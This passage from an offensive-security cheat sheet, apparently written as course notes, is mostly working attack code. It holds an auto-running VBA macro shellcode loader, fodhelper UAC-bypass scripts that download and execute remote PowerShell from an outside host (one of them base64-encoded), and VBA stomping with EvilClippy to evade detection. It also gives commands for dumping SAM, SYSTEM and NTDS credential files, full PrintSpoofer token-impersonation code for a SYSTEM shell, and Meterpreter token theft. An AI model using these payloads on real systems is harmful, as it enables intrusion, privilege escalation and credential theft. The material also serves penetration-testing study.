Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Fodhelper.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$yourevilcommand = &#039;powershell.exe -c &amp;quot;IEX(New-Object Net.WebClient).DownloadString(&#039;&#039;http://192.168.45.198/run3.txt&#039;&#039;)&amp;quot;&#039;&lt;br /&gt;
&lt;br /&gt;
New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $yourevilcommand -Force&lt;br /&gt;
&lt;br /&gt;
Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
&lt;br /&gt;
Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force&lt;br /&gt;
&lt;br /&gt;
------------------------&lt;br /&gt;
function RegStuff {&lt;br /&gt;
    $cmd = &amp;quot;C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA&amp;quot;&lt;br /&gt;
    copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
    New-Item &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Force&lt;br /&gt;
    New-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;DelegateExecute&amp;quot; -Value &amp;quot;&amp;quot; -Force&lt;br /&gt;
    Set-ItemProperty -Path &amp;quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&amp;quot; -Name &amp;quot;(default)&amp;quot; -Value $cmd -Force&lt;br /&gt;
}&lt;br /&gt;
function PrivEsc {&lt;br /&gt;
    Start-Process &amp;quot;C:\Windows\System32\fodhelper.exe&amp;quot; -WindowStyle Hidden&lt;br /&gt;
    Start-Sleep -s 3&lt;br /&gt;
    Remove-Item &amp;quot;HKCU:\Software\Classes\ms-settings\&amp;quot; -Recurse -Force -ErrorAction SilentlyContinue&lt;br /&gt;
}&lt;br /&gt;
RegStuff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== VBA Stomping ==&lt;br /&gt;
&lt;br /&gt;
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tools&#039;&#039;&#039;:&lt;br /&gt;
&#039;&#039;&#039;Hex Editor&#039;&#039;&#039;: For inspecting contents of unzipped modern files&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;FlexHEX&#039;&#039;&#039;: To inspect and edit the files&lt;br /&gt;
&lt;br /&gt;
==== Steps to Perform VBA Stomping ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Shellcode Runner&#039;&#039;&#039;&lt;br /&gt;
Use custom tools to inspect existing shellcode runners.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding File Formats&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Old Format&#039;&#039;&#039;: Compound File Binary Format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;New Format&#039;&#039;&#039;: Similar to .zip files.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using FlexHEX&#039;&#039;&#039;&lt;br /&gt;
Open FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Navigate to  ​File &amp;gt; Open &amp;gt; OLE Compound File​ .&lt;br /&gt;
&lt;br /&gt;
* Open the Word document to inspect it.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Inspect Macro Information&#039;&#039;&#039;&lt;br /&gt;
For modern files, macros are stored in  ​vbaProject.bin​  inside the zipped archive.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editing Macros&#039;&#039;&#039;&lt;br /&gt;
Edit the  ​PROJECT​  file in the navigator window to remove links to macros, using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Understanding P-Code&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;P-Code&#039;&#039;&#039;: Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage&#039;&#039;&#039;: Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performing VBA Stomping&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Goal&#039;&#039;&#039;: Remove VBA source code while retaining P-code to bypass detection but still execute the code.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How&#039;&#039;&#039;:&lt;br /&gt;
Open the document in FlexHEX.&lt;br /&gt;
&lt;br /&gt;
* Locate the VBA source code in  ​NewMacros​ .&lt;br /&gt;
&lt;br /&gt;
* Select all bytes from “Attribute VB_Name” and remove it using  ​Edit &amp;gt; Insert Zero Block​ .&lt;br /&gt;
&lt;br /&gt;
* Save and re-compress the document.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Testing&#039;&#039;&#039;&lt;br /&gt;
Open the edited document in Word.&lt;br /&gt;
&lt;br /&gt;
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work.&lt;br /&gt;
&lt;br /&gt;
=== Automating VBA Stomping Using Evil Clippy ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Usage Examples&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Print help: &amp;lt;code&amp;gt;EvilClippy.exe -h&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Hide macros from GUI: &amp;lt;code&amp;gt;EvilClippy.exe -g macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Unhide macros: &amp;lt;code&amp;gt;EvilClippy.exe -gg macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stomp VBA (abuse P-code): &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set target Office version for VBA stomping: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set random module names: &amp;lt;code&amp;gt;EvilClippy.exe -r macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Reset random module names: &amp;lt;code&amp;gt;EvilClippy.exe -rr macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Serve a VBA stomped template via HTTP: &amp;lt;code&amp;gt;EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Set Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -u macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove Locked/Unviewable attributes: &amp;lt;code&amp;gt;EvilClippy.exe -uu macrofile.doc&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Windows Credentials ==&lt;br /&gt;
&lt;br /&gt;
=== SAM database ===&lt;br /&gt;
&lt;br /&gt;
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Shadow Volume Copy Workaround&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Create a snapshot of the local hard drive using &#039;&#039;&#039;WMIC. &#039;&#039;&#039;Need to launch from an administrative command prompt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; wmic shadowcopy call create Volume=&#039;C:\&#039;&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt; vssadmin create shadow /for=C:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; vssadmin list shadows&lt;br /&gt;
&lt;br /&gt;
# Cleanup&lt;br /&gt;
vssadmin delete shadows /shadow={XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy SAM from shadow volume:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\temp\SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Note: Run above command in  ​cmd.exe​ , not in PowerShell.&lt;br /&gt;
&#039;&#039;&#039;Encrypting SAM Database&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SAM is encrypted by &#039;&#039;&#039;RC4&#039;&#039;&#039; or &#039;&#039;&#039;AES&#039;&#039;&#039;. Encryption keys are in the  ​SYSTEM​  file. Copy SYSTEM file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Save SAM and SYSTEM from Registry&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Using  ​reg save​  command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\&amp;gt; reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam&lt;br /&gt;
C:\&amp;gt; reg save HKLM\system C:\users\offsec.corp1\Downloads\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Read SAM, SYSTEM and SECURITY&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL&lt;br /&gt;
# Or using creddump&lt;br /&gt;
https://github.com/Neohapsis/creddump7&lt;br /&gt;
python pwdump.py /home/kali/system /home/kali/sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Tokens ===&lt;br /&gt;
&lt;br /&gt;
* Access tokens track user&#039;s access rights after authentication.&lt;br /&gt;
&lt;br /&gt;
* They are assigned to each process associated with the user.&lt;br /&gt;
&lt;br /&gt;
* Access tokens are stored inside the kernel, preventing direct modification.&lt;br /&gt;
&lt;br /&gt;
==== PrintSpoofer.exe ====&lt;br /&gt;
&lt;br /&gt;
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the &amp;quot;Printer Bug&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or&lt;br /&gt;
handle.&lt;br /&gt;
&lt;br /&gt;
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.&lt;br /&gt;
&lt;br /&gt;
* We will use the code below to simulate a print client. The code will create a pipe server, wait for a connection, and attempt to impersonate the client that connects to it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Principal;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace PrintSpoofer&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static uint PIPE_ACCESS_DUPLEX = 0x3;&lt;br /&gt;
        public static uint PIPE_TYPE_BYTE = 0x0;&lt;br /&gt;
        public static uint PIPE_WAIT = 0x0;&lt;br /&gt;
        public static uint TOKEN_ALL_ACCESS = 0xF01FF;&lt;br /&gt;
        public static uint TOKENUSER = 1;&lt;br /&gt;
        public static uint SECURITY_IMPERSONATION = 2;&lt;br /&gt;
        public static uint TOKEN_PRIMARY = 1;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        public struct PROCESS_INFORMATION&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
